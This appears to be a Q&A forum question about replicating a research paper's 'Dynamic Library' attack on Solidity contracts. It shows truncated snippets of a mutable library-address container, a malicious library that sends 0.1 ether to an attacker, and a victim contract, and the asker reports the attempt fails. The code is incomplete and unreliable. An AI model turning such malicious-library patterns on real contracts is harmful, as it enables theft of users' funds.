I'm trying to replicate the Dynamic Library attack of this paper under a recent version of solidity and the EVM.

Streamlining down the code, I've created this very simple contract (which is, in essence, an address container for a library:

contract DynamicContract {
    address dynLib;

    function updateLib(address _lib) public {
        dynLib = _lib;

    function getLibAddress() public view returns(address) {
        return dynLib;

Now, the attacker deploys DynamicContract and update the library address with an instante of the following MaliciousLibrary:

library MaliciousLibrary {
    function version() public returns(uint256) {
        address attacker = address(0x72...);

        attacker.transfer(0.1 ether);

        return 1;

Now, the victim deploys the 'Bob' contract, equipping it with some ether:

contract Bob {
    event Result(bool res);

    function queryVersion(address dynCAddr) public payable returns(bool) {
        DynamicContract dC = DynamicContract(dynCAddr);

        bool res = dC.getLibAddress()

        return res;

Now, if the victims calls queryVersion(), the malicious version() method should transfer 0.1 to the attacker. However, this doesn't happen and the transaction runs out of gas.

Any ideas?

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Browse other questions tagged or ask your own question.